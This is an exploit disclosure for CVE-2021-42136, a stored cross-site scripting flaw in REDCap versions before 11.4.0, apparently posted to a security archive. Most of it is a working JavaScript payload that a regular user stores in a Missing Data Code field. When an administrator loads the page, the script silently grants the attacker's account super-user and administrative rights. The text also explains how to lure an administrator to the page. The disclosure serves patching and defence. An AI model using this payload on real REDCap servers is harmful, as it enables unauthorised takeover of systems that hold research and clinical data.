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REDCap Cross Site Scripting

REDCap Cross Site Scripting
Posted Apr 14, 2022
Authored by Kendrick Lam | Site github.com

REDCap versions prior to 11.4.0 suffer from a persistent cross site scripting vulnerability that can be leveraged to escalate privileges.

tags | exploit, xss
advisories | CVE-2021-42136
SHA-256 | ae4e138d67932ba7613a2e647957f86bfed7daef61b1164b1114449c3658c20d

REDCap Cross Site Scripting

Change Mirror Download
# Exploit Title: REDCap < 11.4.0 - Stored Cross-Site Scripting
# Date: 2021-10-11
# Exploit Author: Kendrick Lam
# Vendor Homepage: https://projectredcap.org
# Software Link: https://projectredcap.org
# Version: Redcap before 11.4.0
# Tested on: 11.2.5
# CVE: CVE-2021-42136
# Security advisory: https://redcap.med.usc.edu/_shib/assets/ChangeLog_Standard.pdf

### Stored XSS – Missing Data Code Value (found by Kendrick Lam)

It was possible to store JavaScript as values for Missing Data Codes.

- Where: Missing Data Code.
- Payload:
<script>
var target = document.location.host;
var csrf_token = csrf_token;
var userId = '<userId>'; // Replace with your user ID.

function privesc()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://" + target + "/index.php?route=ControlCenterController:saveNewAdminPriv", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Sec-Fetch-Dest", "empty");
xhr.withCredentials = "true";
var body = "";
body += "userid=" + userId + "&attrs=admin_rights%2Csuper_user%2Caccount_manager%2Caccess_system_config%2Caccess_system_upgrade%2Caccess_external_module_install%2Caccess_admin_dashboards&csrf_token=" + csrf_token;
xhr.send(body);
return true;
}

privesc();
</script>
- Details: The payload will escalate a regular user's privileges, if viewed by an account with permission to change privileges (such as an administrator).
- Privileges: Low privileged / regular user
- Location example: https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX

- Privileges:
+ Store: Low privileged user is able to store Missing Data Code values.
+ Execute: Any authenticated user. The payload will trigger once the page loads, this means storing the payload and sending over the link to an administrator would be able to escalate the user's privileges. For example, by browsing to https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX
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